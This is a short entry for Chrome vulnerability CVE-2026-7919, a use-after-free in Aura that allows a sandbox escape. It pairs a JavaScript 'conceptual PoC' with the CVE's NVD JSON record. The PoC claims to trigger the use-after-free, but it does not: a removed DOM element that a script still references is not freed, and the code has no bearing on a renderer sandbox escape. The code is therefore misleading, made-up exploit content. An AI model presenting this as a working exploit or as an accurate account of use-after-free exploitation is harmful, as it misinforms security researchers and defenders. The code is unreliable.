CVE-2026-7919

/** * Conceptual PoC for CVE-2026-7919 (Aura Use After Free) * This code demonstrates the logic of triggering a UAF vulnerability. * Actual exploitation requires specific memory layout and heap grooming. */ function triggerCVE20267919() { // 1. Create a DOM element managed by Aura let vulnObj = document.createElement('div'); document.body.appendChild(vulnObj); // 2. Attach a property or event that references the object vulnObj.setAttribute('data-custom', 'payload'); // 3. Remove the object from the DOM tree // This may trigger the destructor in Aura, freeing the memory vulnObj.remove(); // 4. Force Garbage Collection (if possible in the environment) // In a real scenario, an attacker would spray the heap here if (typeof gc !== 'undefined') { gc(); } // 5. Attempt to access the freed object (Use-After-Free) // This triggers the vulnerability try { console.log(vulnObj.getAttribute('data-custom')); } catch (e) { console.error('UAF triggered or access violation'); } } // Trigger the PoC triggerCVE20267919();

{"cve": {"id": "CVE-2026-7919", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:40.173", "lastModified": "2026-05-06T23:38:42.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Aura in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/498832921", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}